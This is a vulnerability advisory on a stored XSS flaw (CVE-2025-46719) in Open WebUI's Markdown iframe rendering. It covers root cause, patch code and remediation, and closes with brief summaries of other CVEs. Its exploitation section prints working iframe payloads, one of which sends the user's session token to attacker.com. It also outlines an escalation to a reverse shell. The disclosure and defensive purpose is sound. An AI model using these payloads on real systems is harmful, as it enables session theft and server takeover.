Jul 7, 2026·6 min read·23 visits
Unsanitized Markdown parsing in Open WebUI lets attackers execute arbitrary client-side script via crafted iframe tokens, leading to session theft and administrative Remote Code Execution.
A critical Stored Cross-Site Scripting (XSS) vulnerability exists in Open WebUI versions prior to 0.6.6. The vulnerability resides in client-side Markdown rendering, where unvalidated iframe tags containing local API base URLs bypass DOMPurify sanitization. This flaw allows authenticated attackers to steal user session tokens. If an administrative session is compromised, the attacker can leverage the application's native Python execution capabilities ('Functions') to achieve arbitrary Remote Code Execution (RCE) on the hosting server.
Open WebUI is an extensible, self-hosted user interface designed for interacting with large language models offline. To deliver rich text interactions, the platform processes markdown client-side inside Svelte-based chat interface files. This architecture exposes a significant attack surface in components that translate markdown tokens into raw HTML tags.\n\nThe vulnerability, designated CVE-2025-46719 (GHSA-9f4f-jv96-8766), falls under the category of Improper Neutralization of Input During Web Page Generation (CWE-79). The security flaw is located within the markdown parsing engine's handling of inline token representations. Specifically, when rendering HTML tokens, a design exception allows unvalidated HTML strings to bypass the primary DOMPurify sanitization framework.\n\nA successful exploitation of this vulnerability enables an attacker to execute arbitrary JavaScript code within the context of the victim's browser session. If the victim has administrative privileges, the attacker can leverage the compromised session to interact with the platform's API endpoints. This interaction can escalate to Remote Code Execution (RCE) on the underlying hosting server by registering malicious Python routines via the system's 'Functions' panel.
The root cause of CVE-2025-46719 is located in the client-side rendering files src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte and MarkdownInlineTokens.svelte. When Open WebUI renders markdown, it leverages a parsing pipeline to process text blocks into distinct node trees. While standard HTML blocks are sanitized through DOMPurify, an explicit exception was implemented to handle internal document and media previews.\n\nTo allow inline iframe previews of uploaded files, developers introduced a conditional Svelte block that checks if a token contains an iframe reference directed at the server's file upload API. This conditional logic evaluates the presence of the substring <iframe src=\"${WEBUI_BASE_URL}/api/v1/files/ within the raw token text. If this substring is detected, the application renders the entire token using Svelte's raw HTML interpolation directive ({@html}).\n\nThis implementation introduces two security failures. First, Svelte's {@html} directive bypasses standard Svelte escaping, inserting the string directly into the Document Object Model (DOM). Second, the .includes() method is structurally weak and fails to validate the outer boundaries of the token. An attacker can construct a single token that satisfies the .includes() requirement while appending arbitrary malicious tags or event handler attributes, such as onload handlers, elsewhere in the payload.
In vulnerable versions of Open WebUI, the application rendered raw HTML tokens directly when matching file preview signatures. The following block highlights this vulnerability pattern:\n\ntypescript\n// Vulnerable Code Path\n{:else if token.text.includes('<iframe src="' + WEBUI_BASE_URL + '/api/v1/files/')}\n {@html `${token.text}`}\n\n\nIn the patch implemented in version 0.6.6 (Commit 6fd082d55ffaf6eb226efdeebc7155e3693d2d01), the developers refactored HTML token rendering into an isolated component named HTMLToken.svelte. This component enforces structural validation and sanitizes inputs. Below is the updated logic:\n\nsvelte\n<!-- Patched Component: HTMLToken.svelte -->\n<script lang="ts">\n\timport DOMPurify from 'dompurify';\n\timport type { Token } from 'marked';\n\timport { WEBUI_BASE_URL } from '$lib/constants';\n\n\texport let token: Token;\n\tlet html: string | null = null;\n\n\t$: if (token.type === 'html' && token?.text) {\n\t\t// Sanitize input using DOMPurify as the default defensive layer\n\t\thtml = DOMPurify.sanitize(token.text);\n\t} else {\n\t\thtml = null;\n\t}\n</script>\n\n{#if token.type === 'html'}\n\t{#if html && html.includes('<video')}\n\t\t{@html html}\n\t{:else if token.text && token.text.match(/<iframe\\s+[^>]*src="https:\\/\\/www\\.youtube\\.com\\/embed\\/([a-zA-Z0-9_-]{11})"[^>]*><\\/iframe>/)}\n\t\t<!-- Strict regex matching for safe YouTube embeds -->\n\t{:else if token.text.includes('<iframe src="' + WEBUI_BASE_URL + '/api/v1/files/')}\n\t\t{@html `${token.text}`}\n\t{:else}\n\t\t{token.text}\n\t{/if}\n{/if}\n\n\nWhile the patch separates concern by isolating HTML token rendering, the implementation still uses raw {@html} on token.text if the substring matches. It is critical that deployments enforce deep server-side sanitization and restrictive Content Security Policies, as relying on substring match checks client-side remains highly complex to secure against nested bypasses.
The exploitation vector requires an attacker to inject a crafted markdown payload containing the target base URL and an executable payload attribute. The initial proof-of-concept payload uses an iframe tag pointing to the files API coupled with an inline onload attribute:\n\nhtml\n<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>\n\n\nTo conduct a complete administrative takeover, the attacker can leverage the platform's client-side session management. Open WebUI stores the user's active JSON Web Token (JWT) inside the browser's local storage under the key token. An attacker can structure the iframe payload to exfiltrate this storage key to an external listener:\n\nhtml\n<iframe src="http://localhost:8080/api/v1/files/" onload="fetch('https://attacker.com/?token=' + encodeURIComponent(localStorage.getItem('token')))"></iframe>\n\n\nOnce the administrative token is exfiltrated, the attacker assumes administrative control over the platform. The attacker then accesses the /api/v1/functions API endpoint. Because Open WebUI permits administrators to write custom Python plugins and filters to process incoming user requests, the attacker can submit a Python payload that executes shell commands, establishing a reverse shell and completing the attack chain from XSS to Remote Code Execution.
The impact of CVE-2025-46719 represents a severe escalation chain. Although the initial entry point is client-side, the architectural integration of administrative capabilities and Python-based plugins bridges the gap between client-side exploitation and system-level host compromise.\n\nThe CVSS v4.0 scoring system assigns this vulnerability a base score of 7.4 (High Severity), reflecting the critical exposure of confidentiality, integrity, and availability. If an attacker succeeds in exfiltrating an administrative session token, the integrity of the hosting environment is entirely compromised. Attackers can execute arbitrary processes under the system privileges of the Docker container or local application host.\n\nFurthermore, this vulnerability presents significant self-propagating potential. If the 'Enable Community Sharing' parameter is toggled on, or if infected chat transcripts are published to the public Open WebUI registry, the exploit operates as a worm. Users viewing these shared transcripts will silently execute the payload, causing their local clients to duplicate the malicious transcript and share it further, magnifying the overall threat vector.
The primary remediation path for CVE-2025-46719 is to update Open WebUI installations to version 0.6.6 or greater. System administrators running the platform via the Python Package Index (PyPI) should execute the upgrade command:\n\nbash\npip install --upgrade open-webui\n\n\nFor containerized environments, pull the updated container image and restart the deployment using the following sequence:\n\nbash\ndocker pull ghcr.io/open-webui/open-webui:main\ndocker compose up -d --force-recreate\n\n\nIn scenarios where immediate patching is unfeasible, administrators should configure strict Content Security Policy (CSP) headers on their reverse proxy. Restricting the script-src and connect-src directives prevents unauthorized exfiltration and inline JavaScript execution:\n\nhttp\nContent-Security-Policy: default-src 'self'; script-src 'self'; frame-src 'self' https://www.youtube.com; connect-src 'self' https://trusted-endpoint.com;\n
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N/E:P| Product | Affected Versions | Fixed Version |
|---|---|---|
Open WebUI Open WebUI | < 0.6.6 | 0.6.6 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS Score | 7.4 (High) |
| Exploit Status | Proof of Concept |
| KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
An authenticated user with global translation permissions can exploit a missing authorization check on the page translation endpoint in Wagtail CMS. This allows the attacker to copy and view pages they do not have explicit edit or explore access to.
An uncontrolled resource allocation vulnerability (CWE-770) affects Mailpit SMTP server versions 1.30.0 through 1.30.4. The vulnerability is located within the DATA parsing logic, where an unauthenticated remote attacker can stream an endless sequence of bytes devoid of newline characters. Because line size limits are evaluated only after buffer completion, the Go runtime repeatedly allocates memory on the heap to store the single oversized line, causing resource exhaustion and an Out-Of-Memory termination of the service process.
A critical cross-site WebSocket hijacking (CSWSH) vulnerability in Mailpit allows malicious websites to bypass CORS security controls via URL-encoded path mismatches, exposing sensitive development SMTP communications to unauthorized actors.
A critical vulnerability in Dgraph Alpha allows unauthenticated network clients to delete and replace database stores. The public gRPC interface on port 9080 processes external snapshot streams without enforcing authentication or authorization, triggering immediate database destruction via the storage engine's initialization process.
A security vulnerability in Copier versions 9.5.0 through 9.15.1 allows unauthenticated remote code execution via crafted HTTP requests or local paths containing traversal sequences. The trust-evaluation mechanism compares target repository paths or URLs against trusted prefixes using unnormalized string comparison, while the subsequent fetching mechanism normalizes the path before cloning. Attackers can exploit this asymmetry to bypass security warning prompts and execute arbitrary commands under the local user context.
GeoLens before version 1.2.4 contains multiple critical-tier security vulnerabilities including improper authorization in metadata access, tile cache scope leakage, dataset title enumeration, weak default credentials, and denial of service via STAC POST search.